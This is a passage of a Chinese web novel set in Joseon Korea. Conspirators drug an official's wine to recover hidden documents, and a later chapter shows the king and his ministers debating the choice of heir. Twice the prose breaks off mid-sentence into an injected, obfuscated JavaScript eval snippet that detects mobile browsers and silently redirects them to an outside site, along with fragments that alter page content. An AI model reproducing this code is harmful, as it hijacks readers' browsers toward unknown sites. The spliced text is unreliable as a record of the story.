酒可是这次全州之行任务的重要角色了。少了它,办不成事。宋景熙不由得皱起眉头朝韩时元看了一眼,韩时元也明白他的意思,便对着桌子啧了一声,黑着脸神色不耐道:“怎么没有酒?” 一名妓生立刻道:“哎呀公子,如今不正是禁酒令时节么?哪里有酒呀,您可别开玩笑了。” 宋景熙道:“可我们分明在进来时看见有几人举着酒盘酒盏进了其它厢房?” 妓生们面面相觑过了,其中一名笑着解释道:“我这姐妹记性差,忘记了。馆里是有酒的,只是酒都是禁酒令之前攒下的,用到如今存量也少了,供不得所有人,您也知道现下这酒可是珍贵得很呢,除了馆主和那群大人们喝的着,别的房里都是不供应的。” 韩时元道:“那群大人?哪群。” 妓生道:“自然是馆主的贵客了......” 宋景熙不高兴道:“这我可就有话说了。贵馆管事不是说我们兄弟二人也是贵客么?如今拿来招待贵客的酒却不能拿来招待我们,这算什么贵客,难不成贵馆的贵客只是嘴上说说而已,待遇则是随随便便了?我瞧着那几个人送过去的酒也不少,哪里像是存量少的样子。我就不信贵馆主没有私酿,恐怕不少吧?怎的不能拿来招待我们兄弟?我现在就想喝酒,过过嘴瘾,没酒不行,叫你们管事拿酒来!” 韩时元也道:“叫你们管事拿酒来!” 妓生为难道:“这......有没有私酿的酒哪是我们几个姐妹能知道的呢,再说我们这群人也没有这样的权力啊,供不供酒都是管事大人管着,管事大人也从来不和我们多说,让我们做什么就做什么,我们也没有向管事大人提要求的份,若是说了......”她说着说着,竟掩唇啜泣起来。 宋景熙心想在这些妓生面前演得算是足够了,该换个人换个场景了,便“咵”一下扬掌拍桌道:“还要你们来说?!我是谁?我是尚州牧使的亲儿子!他区区一个管事的,凭什么不让我喝酒?嘴上说着是贵客,就这待遇,是想逼走我们不成?” 妓生道:“公子......” “这样,去告诉你们管事,是你们馆主三番五次请我们父亲来会,我们兄弟如今是替家父来表诚意的,不是来当孙子的!既然管事不给,那本公子自己去拿!别管他一个破管事,要是馆主问起来,就说是我沈公子干的,跟你们不相干。想必馆主还不至于小气到连几坛子酒也不给吧,就算要责怪,那就算本公子一人头上!不怪你们!你们的酒存在哪?酒窖?酒窖在哪?” 妓生们竟是转悲为喜,都咯咯嘻嘻笑道:“公子豪气!”待一位妓生指了路,宋景熙便站起来径直朝房外走去,韩时元见状也欲跟上,却不料被身侧两名妓生按住了,妓生调笑道:“这位公子可不准走呀,总不能留姐妹们在这独守空房吧?” 宋景熙回头看了眼,本欲替韩时元说话,让他陪自己一起去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773807|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但转念一想崔在燮的人大多有心机的,怕是不会放他们两人乱走,留韩时元一人在这反倒能让这些人放心,他一人去找南一洛会合倒也不引人注目。想通此节,宋景熙摆出笑颜,哈哈道:“二弟你就留在这吧,没你在这可不行啊。” 韩时元原本紧绷着下颌,差点就从位上弹起来了,但听了宋景熙的话竟是一定。他颇有深意地朝宋景熙看去,似乎是明白了宋景熙话里有话,不着痕迹地点了点头。只是宋景熙被这凝视看得脊背发麻,没有多说什么,迅速推门走了。 ...... 他之所以一定要有酒,其实只是为了问酒窖的位置,之所以一定要去酒窖,是因为南一洛就在酒窖当卧底。 南一洛已在持金馆卧底数月,原先是在厨房打杂,刚转到酒窖打下手不久。厨房虽和酒窖连在一处,但分着不同的人管。南一洛本想在厨房酒菜里下蒙汗药,但因厨房人多,他又身份不明,一直不得崔在燮信任,厨房从未让他独处过,所以一直不曾有机会下手,如今大抵是待久了又受到信任了,转到酒窖,酒窖只由一个掌酒水的和几个送酒伙计看管,他现在就是送酒伙计之一。 他早已收到今日会面的消息,提前给掌酒水的下了泻药,让掌酒水的急急告假了。今日又不用送什么酒,伙计们都在聊天聊地聊赌聊女人,聊累了倒地上打瞌睡。南一洛则离了远些,在酒窖边上等着会面人。 这时已经是夜色降临了,持金馆都陷入暮色当中。南一洛双臂紧抱,正望头数着天上的亮点,数到第八回时,终于听到踩地的脚步声,朝他而来的脚步声。他正眼看去,看清来人,搓搓手平淡道:“终于来了。” 宋景熙道:“终于来了,差点找不到这地。这里好冷啊。” 南一洛道:“酒窖当然冷。跟我进来吧,不用管那几个家伙,都是送酒的,我和他们说了,今晚有个馆主的贵客指名让我送,让他们先去歇息了。” 宋景熙便跟着走边道:“这么说,你是撒了一个谎。要是今日的事没有办成,这个谎言也会被揭穿,你在崔那的信任也就没有了。” 南一洛不在乎地道:“今日一事,就是消耗那可怜的一丁点信任去干一票大的。你既然知道,那也就明白我们只能干这一票,这一票不成,岂止是以后没有机会了,我们说不定会在这没命。不过我觉得我们逃得走。” 宋景熙道:“你这么说,让我好紧张。” 南一洛道:“紧张就对了。因为我们在做一件筹备五十年只为这一夜的事。” 两人步向酒窖,甫一进酒窖,便闻到浓烈刺鼻的酒味,酒窖里还点着灯,看得清。宋景熙看着满间屋子的坛子,诧异道:“这么多酒?” 南一洛道:“私酿的。这些人很财大气粗,你想象不到。我之前也没想到。”他说完嗤了一声:“隔壁还在饿死人,崔的粮食多到拿来酿酒。” 宋景熙也嗤道:“看来崔真是脖子痒了。”他又道:“这些酒,怎么做?” 南一洛道:“你说我的计划?有的。待在这的这些日子里,我发现崔从不去他的院子以外的地方,无论是左边的赌坊还是右边的妓坊,他只管发号施令,决不踏足一步,和谁见面也只会在那院子里见。前些日子馆里来了一行人,这接连好多日崔都和那些人在那院子里吃来喝去的,偶尔我送酒水过去看了眼。他们那些人几乎不离开那间院子,吃喝拉撒都在那,也不会有其他人进去,送酒的只能送到门口,再由管事带进去,管事也姓崔,是他的心腹。那院子就连管事也很少进去,敲敲门,把酒放在门口就走了,等那群人自己开门把酒拖进去,有时候一整夜酒都晾着,管事也不觉得奇怪。但他们一旦把酒拖进去了,就一定喝个精光,喝到酩酊大醉。管事还是不觉得奇怪。” “行事很古怪。”宋景熙点头道:“这就是我们的机会。” “对。”南一洛也点头:“我之前想着在菜里下药,但没有机会,现在只能在酒水里下了。这个药全天底下最猛,但最快要过一个时辰才能起效,必须让他们在深夜喝掉和在深夜晕倒,不能太早,不然馆里都还没静下来,也不能太晚,等太阳升起就迟了,不早不晚才能降低被发现的风险。你有没有什么方法?” 宋景熙道:“有。我亲自给他们送酒去。” 南一洛向前走了几步:“这也可以?” 宋景熙道:“我借了身份,能送,崔一定不会拒绝。他的房里有多少客人?” 南一洛道:“十余人。等这些人都倒了,我们想搜多久搜多久,但不能等到太阳升起。” 宋景熙沉吟片刻,而后提问道:“若是出事,如何逃走?若是成功,如何离开?” 南一洛默默地打开一坛酒,道:“不知道。” 宋景熙有点吃惊:“不、不知道?!” 南一洛在身上掏了掏,取出一个布袋,布袋脏脏的,原来是外层裹着细碎的泥土。南一洛道:“拿没拿到东西都可以直接跑不是吗?你们有马对吧,可以直接骑马逃跑。” “我们是有马。”宋景熙道:“但你呢?” 南一洛打开布袋,里面是一些白色的粉末,被很细致地层层包裹,正是他要下的药。这些药估计是很久没重见天日了。他将药一点点倒进酒里,伸手进酒里搅了搅,一边道:“其实,我已经做好觉悟了。” “义父总说什么都是命,都是自然安排好的,人不能拒绝。我一直不信这些,但可能多少还是受了点影响吧。我想着,能不能逃走,听天由命吧,先干了这事再说。” 宋景熙盯着他道:“我们会带你平安离开。” 南一洛道:“先干了这事再说吧。”他又打开一坛酒,继续往里倒粉末,又伸手进去搅搅。过了会,他忽然平淡地笑了一声,说道:“我这手可不干净。有时候会看到从赌坊或妓坊里拖出去的死人。我想要是我死在这,也不亏,至少让他们尝了口恶心的酒。” 宋景熙不知该说什么,喉咙里卡东西了,说不出来,南一洛也没给他说话的机会,又拿出一个布袋递给他,他接过去。南一洛再接连打开几个坛子,和他一边继续下药一边道:“不说了,怕巡夜的人过来,虽然他们总懈怠,但我们也不能拖着,早点弄完早点趁时间送过去。” 宋景熙道:“我来的不是时候,现在夜还不够深,得再过一个时辰再送过去。不过在此之前,我得回厢房一趟。” 59. 素冠其五 他拎着一坛酒回了厢房,又摆出一副纨绔子弟的模样让那四位妓生喝了酒,等了一个时辰后,那四位妓生果然渐渐瘫倒在地。确认这些妓生完全晕倒到不省人事后,宋景熙便转身对韩时元道:“走吧,该干正事了。” 韩时元似乎心情不好,声音闷闷道:“嗯。” 两人再次出现在南一洛指路的崔在燮的私院里,一脚踹开院门,大摇大摆地走了进去。宋景熙很是豪气地拿酒坛敲门,对着有说有笑的房内放声道:“馆主大人可在!” 房内瞬间寂静下来,许久后,门才被拉开一条缝,一只布满皱纹和血丝的眼睛露了出来,皱巴巴地道:“怎么回事?你是谁?” 宋景熙依旧放声道:“本公子来自尚州,是尚州牧使家的长子,远道而来只为赴馆主大人一宴,不知馆主与各位欢迎与否啊?” 眼睛没说话,但房内传来另一人的声音:“管事那家伙呢?怎么不管事!” 宋景熙坐到地上,道:“管事大人说,馆主应该是想见我的。”他颇为委屈地撇起嘴:“难道馆主宴请得各位大人,我爹就不行了吗?虽说此次到访贵馆是应馆主所邀,馆主未曾邀我兄弟二人来此宴会,但还望馆主大人体谅晚生不请自来啊!家父是很有诚意的,实在是很想和各位大人交好才这样的!为求馆主原谅,晚生特意要了几坛酒来,诸位可否赏脸?” 眼睛离开了,房门一条缝也被关上了。房内又是寂静下来,但若仔细聆听,能听到里面之人正七嘴八舌地窃窃私语着。宋景熙和韩时元还在耐心等待,片刻后,果然门缝又拉开一条缝。 这次换了只眼睛,眼睛很细,眼球也是布满血丝。眼睛道:“小兄弟,实在抱歉,你现在还不能进这里,但过几日馆主会亲自去见你,报答你和令尊的诚意。至于这酒......既然来了,也不敢让小兄弟空手而归,只是还请小兄弟先薄饮一口,我们这些做长辈的好敬你一杯!” 宋景熙微微一滞。看来这些人真是群鬼狐狸,担心自己的安危,也不轻易信任人。这酒有药,喝了,晕倒,不喝,又办不成事。想了一瞬,宋景熙没多做犹豫,抬起酒坛子往唇边送,喝了一口,喝完了抹嘴,豪爽道:“好酒!” 韩时元狠狠握拳,眼睁睁看着宋景熙喝下一口酒。他有心阻止,却不能。 门缝里的眼睛眯成了一条缝,门缝再次拉开一点,这次大了点,但还不够大到能让人进入。只能...容酒坛子过。 宋景熙当即会意,和韩时元将几瓶酒坛子都推了进去,并笑道:“还望诸位长辈给晚生一个薄面了。” 里面的人都哈哈笑道:“给!来,满上!” 里面的人互相传酒,推杯换盏的,过了一会,一人道:“小兄弟,我们都喝了!多谢你的酒,往日再会吧!” 宋景熙微微扯了扯嘴角:“那晚生就先告辞了!” 离开崔在燮的私院后,宋景熙找了个没人的地方,吐了。 韩时元像个石头一般矗立在他身后,眼尾发红,盯着宋景熙的背影,手指攥得生疼。他脑海里搜罗了半天,最后只憋出来一句话:“...好些了吗?” 宋景熙愣愣地看着面前韩时元递来的干净的手帕,本是疑惑韩时元为何会有手帕的他此刻也没有心情问了,他心里想的是:自己是不是该庆幸没有下肚过什么饭菜,所以即便在这人面前也不至于太狼狈? 他也很慌乱地接过帕子随便擦擦,并不想提他方才吐了的事,快步离开。 韩时元默默跟在他身后,垂眸一言不发。走了会,宋景熙故作轻松道:“舒服多了。但愿这药会发作慢点。” 他之所以吐,就是为了让药效发挥得更慢点。毕竟那药的作用也是要看剂量的,要是剂量大,混在酒里喝下去都不用一个时辰就能让人倒。 韩时元没说话。过了会,宋景熙喃喃道:“也不知道他们是真喝还是假喝,又看不着......唉,不过也没事,好在那药会挥发,放在屋内也是能慢慢起作用的,只是不知要等到什么时候......” 他碎碎念一通,本想着韩时元能接话,但依旧没听到他张口,哪怕说上一句也好。一句都不说,留他一个人唱独角戏,这很让人难熬。宋景熙又等了会,心都凉了,也热了,仿佛有一团火在他胸腔里灼烧,简直让他难受至极。 他终于忍不住了,回头低声朝着地面吼道:“你倒是说句话!” “......” 他愣住了。视线往上移的时候,看到韩时元的脸的时候,他愣住了。 “......你哭了?” 宋景熙敢确信,自己的确看到了韩时元眼睛里闪烁的碎光。他的眼睛总是很黑,至纯至黑,因此似乎什么都不会从他眼睛里透露出来,但若是流露出什么情绪,这双眸色极深的眸子便会如琉璃一般,反射一些什么,绝不会让人什么都察觉不到。 比如,他流泪的时候,就很明显。 至少,宋景熙记得,上一次他看到这双琉璃眸子反射了什么的时候,他们正被熊熊烈火包围,那时他和韩时元紧紧相抱。 上次,韩时元回避了他的眼泪被发现的事实,而这次他没有回避。只是却也没有看着宋景熙,而是垂眸着。他眼睛眨都没眨,一滴泪水顺着无暇的脸颊而下。虽然没有强烈的神色,但微微向下抿紧的唇却宋景熙觉得他万分委屈。宋景熙脚步慌乱地上前,伸手触向韩时元的脸,轻轻地拭去了这一滴泪。 “......你为何要哭啊。”宋景熙叹道。 你知不知道,看到你哭,我心疼,我也想哭。 韩时元眨了眨眼睛,视线也定在面前之人的脸上。他颤着声,用极低的声音扑簌道:“......我没用。” 宋景熙立刻反驳道:“哪里没用了?一直以来你都帮助我颇多,没有你我好多事情都办不成,要是你没用,那我岂不是更没用了。所以......你到底为什么哭?” 韩时元原本看着他的眼睛,听他说完,便看向了他的唇。彼时宋景熙的手还停留在他脸上没有离开,他轻轻抬起手想要贴上去,宋景熙却仿佛被烫到了,手指一下子抽离开来,瞬间转身,背过韩时元,动作迅速地擦了擦,擦完了看了眼帕子,发现没有脏东西。 ......还好,没有窘态。 宋景熙愣了一小会,又顿时扭头诧异道:“呃,不会,不会是因为我刚刚......” 因为刚刚他吐了,所以才哭的? 韩时元的手滞留在空中,缓缓垂了下去,浅声道:“...嗯。” 宋景熙又诧异了:“可是我既没有挨骂,也没有受伤啊。” 他没明白,这有什么好哭的??他不就是喝了那酒才不得不吐了一下,并算不得多大的事啊。反而要是因他喝了那酒而待会晕过去误了事,那才该哭吧......宋景熙沉默了,可是现在他也没心思纠结什么该不该哭了,他疑惑的是为何会因为他吐了一下就哭。 他心里默默问:“韩时元,你到底为什么哭。” 大抵是心底问的这句被韩时元心里听去了。他说完上一句话,韩时元定形了一瞬,便毫不犹豫地向前走了一步,将两人之间原本就逼仄的距离拉得更近了。 他竟然变了语气,一字一句,很认真地道:“因为我心疼。” 宋景熙愣了。 “这几月来,你一直没有睡过好觉,不但吃得不好,也没有食欲,我都记得。方才那口酒,我本可拦下,由我来代喝,可我却没有。是我做得不好,一直以来都是你站在我面前,都是你在承担一切,在受苦。你不舒服,我心疼。我想自己真是很没用,我宁愿这些都由我来承担,也不愿意看到你皱眉。可我没办法做好一切,没办法让一切都顺着我的心意下去,没办法让你不受到一点伤害。若是我再做得更好,能掌握好一切......” “公子!” 一声长长的呼唤硬生生打破了两人之间的氛围。宋景熙本就像根木头一样杵着,此时听见有人呼唤,动作和神色都万分不自然地回头干巴巴道:“谁。” 南一洛躲在一处屋角,露头朝两根木头挥手:“怎么样了?”见两人迟迟不来,他只会自己走过去,迟钝如他也察觉出空气中弥漫的一丝不对劲,他在两人之间来回看了又看,面露疑惑道:“咦?你们俩刚刚躲在这说什么啊?” 韩时元偏头道:“没什么。我们......”他下意识想去牵宋景熙的手腕,但刚碰到就被躲过去了,连他自己的手也滞止住了。 宋景熙转身道:“没什么......一洛,我喝了口那酒,方才吐了出来,还能撑住吗,我心里没底......” 南一洛大惊道:“什么?!你喝了!!” 宋景熙赶紧道:“嘘——” 南一洛道:“啊吐出来了就好,那就好。唉啊,但毕竟已经喝下去了,就算再慢,总归也是要起效的。不过也不要太担心,最早也得等两三个时辰了。这药很奇怪的,见效很慢,但要是上起劲来了,能像个死人一样晕过去好几天。” 宋景熙道:“我也会吗?” 南一洛道:“大概会吧,你担心什么,你有同伴,让他带着你就好了。要是我也能离开,我也可以照看你。”他边说边扫了眼韩时元,嘶道:“你们到底怎么了?他的表情好怪。宋公子,你也很怪。唉算了,你们自个的事。崔的私院里的人都喝下了?” 宋景熙迟疑地点头道:“都喝下了。” 三人在管事安排的厢房里足足待了一个时辰,再出去时,已经是绝大多数人都睡死到正在做梦的时刻了。即便是持金馆也没有彻夜亮灯,只偶有几个屋子亮着,真是夜阑人静。 直奔崔在燮的私院而去,先由宋景熙象征性地上前敲门。屋内亮着,但完全没有动静。 南一洛提着的心终于稳了点,他率先迫不及待地推开门,往里看一眼,眼中露出欣喜,转头对两人道:“成了。” 三人悄悄进去,闭上房门。宋景熙这时已经平静下来了,一一扫过晕死在地上的横七竖八的人,这些人不乏戴着程子冠的士族老爷。 韩时元道:“这些人和庆尚密使给我们看过的画像长得一致。” 忽然听他说话,宋景熙心下一跳,但镇静道:“不错,正是他们。” 之前还在尚州时,从庆州而来的密使还带来了好几卷画像,是原本保存在庆州台主手中的,画的都是全罗道有名有姓有一定势力的府郡官员。 “这些老爷倒是聚在这里过得花天酒地,爽啊。”南一洛一边嗤笑,一边给邻近的几个各赏了一脚,有个还被踩了一脸。他似乎是觉得不解气,干脆挨个都踩了一脚,躺着的他就踩脸,趴着的他就踩头。这样一来解气,二来可以找找崔在燮是哪个。这些人一脚,崔在燮更是两脚。踩着踩着,他忽然停住了,指着脚下一个怪道:“这家伙长得怎么跟个流氓似的?” 宋景熙和韩时元此刻正在搜查屋内的陈设,都转头看一眼。南一洛脚下踩着的人长得五大三粗的,满脸横肉,脸上还有一道从鬓角经过眼睛延伸到嘴边的刀疤,虽然穿着士族老爷的衣服,却活脱是个山贼刀疤脸。宋景熙道:“哪来的山贼?” 南一洛道:“我也是说,哪来的山贼?崔竟然还勾结了山贼?他到底要干什么。呃,等等,崔呢?” 韩时元道:“没有他?” 南一洛道:“都踩遍了,好像没看到他。” 宋景熙道:“难道是这山贼?” 南一洛摇头:“我见过他,脸上虽然也有伤,但绝不长这样。” 三人将每个人都抓起来或掀过来仔细看了,的确没有见到南一洛说的崔在燮的脸。宋景熙瞬间仿佛一股凉水从头浇到脚,血都凉了,“他发觉了?逃走了?那我们、我们......” 南一洛抓耳挠腮道:“东西也没找到!” 要是崔在燮察觉出不对劲并逃走了,那可就真是完了。全罗道的曳扇台可是不听差使,也差使不动的,他们此番过来,完全是孤注一掷。最重要的是,他们不仅没看到崔在燮的人,也没找到崔在燮的什么东西。崔在燮什么的都不要紧,要紧的是南林要从崔在燮手上夺回来的东西! 韩时元定了定神,冷静道:“别怕。此处未必是崔在燮真正藏身之地,或有玄机。我们再找找。” 宋景熙也道:“也是,才刚翻完柜子而已。崔在燮若是心里有鬼,必然藏得深,哪有那么容易找到。再找找。” 几人都定定神,继续翻找起来。一会儿后,韩时元驻足在一副挂在墙上的长卷画前,画像画着猛虎下山,他没有多去欣赏画上的内容,也没有那个兴致,只看了一眼,便伸手掀过画册一角。 宋景熙和南一洛都注意到他的异常,便停下来看去。画被掀开后,后面是一扇门,嵌在墙上,正如画那般宽和长。韩时元轻轻一推,门便悄无声息打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773808|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,露出画后别有洞天之地。 这是一间小室,黑漆漆的,没有光亮。韩时元和宋景熙先后跨进去,南一洛则先去拿了盏灯来,垫后,他手持灯源一进小室,几人就看得清楚了,这是一间书房,陈设简单。地上躺着一人,衣着红袍,面向地倒着,一只手紧紧抓着地上的一块绣着吉字的坐垫。 南一洛上前揪住这人脑袋掰过来,再凑近灯源一照一看,当即低喝道:“是他!” 宋景熙捶心道:“太好了。” 看来崔在燮是吃下蒙汗酒后,晕头转向间躲进这间密室里来了。 他转而又忧虑起来:“这里连个柜子都没有,他东西藏在哪儿了?” 韩时元默然片刻,道:“他的手。” “他的手?”宋景熙和南一洛都朝崔在燮的手看去,他的手里就只是抓着那块坐垫。南一洛抓起那坐垫揉来揉去,末了疑惑道:“啥也没有啊。” 韩时元道:“坐垫之下或许藏了什么东西。既然是崔溥的遗物,又涉及重大,那他必然不会供奉起来日夜查看,很有可能是深藏起来,譬如,藏在地下。他在晕倒之前死死攥着的东西便是他看重的东西所在的地方。不如撬开地板一看。” 宋景熙认同道:“我家中也是习惯将东西藏于地板下。”说着,他便坐到地上和南一洛一齐协力在坐垫下方的木板缝隙抠了抠,果然很快有几块木板松动,被轻松取了下来,露出地板下空洞洞的地面,映入眼帘的只有一片黄硬的土地。 南一洛再度疑惑道:“啥也没有啊。” 宋景熙这回冷静了,沉吟道:“挖。” 南一洛点头。宋景熙正欲徒手去挖,却被人按上了肩膀,韩时元阻止了他的动作,朝他轻轻摇头道:“你的手会疼,我来。” 宋景熙哑了。 南一洛啧啧了两声,没说什么,挖得飞快。很快,最上一层土被刨开了,渐渐有个盒子的模样出土在他们眼前,又合力将这盒子完全挖出来,南一洛已经欣喜若狂,难掩喜色,迫不及待地将盒子抱在怀里打开一看,盒子里装的竟是好多张折起来的泛黄的纸! 宋景熙道:“略看一眼,是我们要找的东西吗?” 南一洛真就略看一眼,随即大喜道:“是!” 宋景熙也喜道:“那就好,大功告成了!先收起来,我们赶紧离开这。” 南一洛毫不犹豫地收起来,但略带犹豫地看了眼他们方才挖出来的洞,道:“会不会还有?” 韩时元道:“那便再挖。” 几人再挖了会,往着纵横纵深挖,然而还没挖多久,外边忽然传来一声响亮的犬吠声,三人立刻抬头,互相看一眼。南一洛惊道:“遭了!是管事养的那几条狗!走!” 毫不留恋,三人立刻离开小室,往外奔去。果然管事或者说管事的狗发现了不对劲的地方,远处好几个地方都有一群人举着火把呼着喊着朝这边赶来。这是包围之势,也不知是怎么暴露的,都来不及细想,总之得赶紧逃! 多亏南一洛卧底数月,熟识持金馆布局和地形,又是个逃跑的一把好手,竟左转右拐地绕过追捕兵,愣是带着两人突出重围,直达马匹留放之处!宋景熙一边紧跟着南一洛,一边感叹难怪之前他和韩时元在汉阳义潭洞都没能轻易捉住南一洛,原来南一洛真是个实打实的逃跑高手! 宋景熙好容易坐上马,南一洛也跳上他的马。待宋景熙和韩时元都打马迅速奔走,南一洛哈哈大笑,扭身朝后大叫道:“好玩!只可惜老子再也不奉陪啦!去你大爷的全州,老子再也不来了!” ...... 官兵没能追上他们。他们已经离开了尚州的地界。 行速渐渐慢下来。兴奋过了,不知是不是后劲太大,宋景熙总觉得有些昏沉,人也一摇一晃的。南一洛被他撞了下,哎呀一声:“宋公子!” 宋景熙晃晃脑袋:“我......我酒劲好像上来了......” 南一洛道:“你是药劲上来了!诶那位,怎么办啊!” 韩时元沉声道:“换马。” 南一洛:“啊...啊?啊!”见韩时元下马,他也就明白什么意思了,和韩时元互换了马匹。宋景熙昏昏沉沉的,只察觉到有人下马又有人上马了,他低着脑袋,低声唤道:“......韩时元......” 韩时元轻声道:“我在。” 他还在考虑是否要将宋景熙拥进怀里,不是他不想,而是不敢。他没忘记想要去牵手腕那一次,被躲开了,假使触碰会心生厌恶的话,那他宁愿离远点。 然而下一瞬,他的眼睛瞪大了。 宋景熙主动靠进了他怀里。 “不准躲......让我靠一靠......” 韩时元微微一滞,叹道:“我不躲。”他用很低的声音轻轻道:“我从来不躲。” 宋景熙脑袋糊涂着,没听清,但还是胡乱嗯了一声,之后半晌没说话。 马蹄踏踏,不知过了多久,韩时元听见怀里人断断续续道:“你...说的不对。” “我要是,那么脆弱,一点苦都吃不得,一点风浪都,经不住,我早就死了,眉寿山上的火...就能要了我的命。什么都是我在受苦,我在承担一切......你胡说,明明你也一样累,你都不叫苦,我干嘛要叫苦。你也不要想着什么掌控一切......想要太多,只会毁了自己,想太多,也会让人很累......你要做那么好做什么啊...追求完美吗,要那么完美做什么,人都是不完美的,要是完美,那还要神仙做什么,神仙也是假的......你又不是神仙......你要是神仙,那离我太远了。” “......你再说自己没用,我就...我就......我一直都觉得,只要你还活着就好了,看到你没死,我真的很高兴,这比你变成神仙还要让我高兴。我不喜欢神仙......太好了反而让人觉得很假,触碰不到...不是么?其实......其实我............我..................” 韩时元自持一向从容冷静,如今是再也冷静不了了,他心如鼓擂,一颗心被吊起来捶来揍去。就在他确信自己的心跳声被怀中人察觉无疑时,他察觉到怀中人彻底沉睡过去了。 冷风吹得猎猎,天空渐渐飘起细雪来。韩时元将怀中人紧紧抱住。 这一抱,就不要再分开了。 60. 夺嫡其一 王宫。 宋道真走在宫道上,内心忐忑不安。不知王上为何要召见自己。 自从母亲德平翁主逝世后,王上单独传见他的次数越来越少,到今日已有大半年没单独传见了。比自己长子还不如。宋道真也不是没发觉自己越来越不受器重,自从几年前母亲德平翁主死后,王上对于宋家的恩宠越来越少。 比如,明明他和韩义亨都是文祖两大臣宋泰日和韩丙建的儿子,现在韩义亨是官至一品,高居领相,而他人过中年,才是个二品吏曹判书,差了整整一品。就算不论品级,单论传见这件事,韩义亨就是经常受到这份宠信的人。 对,不错,宋道真愤懑地想,这次被召见,不是他单独的,还有一个人,韩义亨。 侯在殿外的宫人推开门,宋道真走进去,殿内晦暗不明,但他看见跪坐在地上的还有个人,此人正是韩义亨。 “臣参见主上。” “宋卿坐。”王上语气倒算温和。宋道真心里琢磨,大概不会是什么为难的事。 只不过,他想错了。王上道:“寡人今日召见两位卿,是想商议世子一事。” 宋道真心下一惊。 “卿知道,自百官除服以来,不断有官员或上奏,或直言,劝寡人早立新储。今日早朝,礼曹又提起此事来,弘文馆的那几位提学也依旧是那番说辞,只是寡人看这回连议政府和吏曹的诸多官员也都站了出来,却不见你们两个说上半句话。难道立储之事,百官都比寡人着急,两位卿不着急?” 韩义亨先道:“主上,臣并非是以为立储之事不急,只是认为不必急于这一时。众王子当中并无适合人选。” 王上的表情变得微妙了点:“没有合适人选?” 韩义亨道:“正是。” 王上扫过韩义亨一眼,又看向着急说话的宋道真,开口道:“卿有话要说便说。” “是。”宋道真立刻道:“领相这话臣以为不对!怎会是并无合适人选?大王子睿南君和三王子瑞泉君皆已是成人之年,不正处在年龄合适之时?” 韩义亨道:“主上,臣并未说是因年龄而无合适人选。吏判这话,倒让臣不明白了。” 宋道真被说得憋了憋。 王上点头道:“不错,领相并未提及年龄,吏判有些过急了。只不过宋卿你说的也对,寡人这几个儿子当中,年龄适合的也就只有睿南君和瑞泉君。那些劝寡人立储的官员里,大多提的也是寡人这两个儿子。领相倒不同,竟认为众王子中并无合适人选?难道寡人的儿子都没有资格当这个世子?” 韩义亨道:“并非如此,主上。” 王上道:“那你仔细说来。” 韩义亨道:“臣以为,百官所心仪的睿南君和瑞泉君这二者当中,无一人受过侍讲院的君王教育,对于国政并不熟悉,也不谙治国理政之道,两位王子至今已成人,若此时再教育,只怕是为时甚晚。” 宋道真道:“那领相的意思是要从五王子、六王子和七王子当中选了?!” 韩义亨沉默不语。王上道:“卿真是这个意思?” 韩义亨低头道:“臣本以为可以。但臣听说五王子、六王子和七王子学业不精,在宫学内的表现不仅不如去世的元显世子,甚至不如当年的睿南君和瑞泉君,既然无法接受枯燥乏味的君王教育,那么看来这三位王子似乎也并不是很合适的人选。只不过,圣人说孺子可教,主上若是心仪哪位王子,可试着让曾在侍讲院任职的侍讲官为其授课,稍作考验。臣和吏判大人均曾在侍讲院为先世子任过职,而若是主上信得过臣,臣愿主动请缨,担起这个任务。想必吏判大人也会不咎其职。” 宋道真心里骂道:“这个老不死的老贼在胡说什么!怎么扯到五王子六王子七王子去了!妈的,怎么又扯到老子了!我愿意个屁!”但面上还是保持谨慎,不得不顺着韩义亨的话应承下去:“是,臣也愿意替主上分忧。” “韩卿方才说,寡人若是心仪哪位王子?”坐在主位上的王上摊手置于桌上沉思了一会,抬眼道:“......若是寡人说,寡人心仪睿南君和瑞泉君这两位,卿又该如何?” 宋道真刚想回答,谨慎地察觉到韩义亨没有说话,也就先闭嘴了。 王上道:“宋卿你说。寡人欲立新世子,卿所意在何人?” 宋道真小心地回答道:“若是必须从这两位王子当中选择一人,那臣......认为睿南君尚可。” 王上道:“韩卿。” 韩义亨道:“臣选瑞泉君。” 此话一出,宋道真先炸了,一下子猛抬头朝韩义亨看去,那表情好似在说:“你选谁??!” 王上的神情又变得微妙了点:“韩卿的选择,倒让寡人感到很是意外。” 韩义亨恭敬地道:“臣只是选择了臣认为最适合世子之位的人。” 王上哦了一声:“为何认为瑞泉君最适合。” 韩义亨道:“瑞泉君上有四德,下有赤子之心,如一而无伪。圣人言大人者不失其赤子之心,唯有赤子之心可得民心。瑞泉君襟怀坦白,素来洁身自好,对待身边宫人温和良善,又有一颗孝子之心,德行之中无一亏损,可为人君,可谓仁君。若他为世子,必然是百官百姓之福。” 王上缓缓道:“韩卿倒是并无半分私心啊。” 韩义亨道:“臣为人臣,也非圣人,不敢称没有半分私心。不敢隐瞒主上,臣私心里倾向于睿南君。但臣记得朱子有言,存天理灭人欲。即便臣有私心,却也不敢以私废公。之所以荐举瑞泉君,只是在臣看来,相比于睿南君,瑞泉君的确更优秀。” 王上点了点头:“说得不错。” 宋道真高声道:“主上!领相之言,臣不得不驳斥一番!” 王上摆手道:“你说,说。” 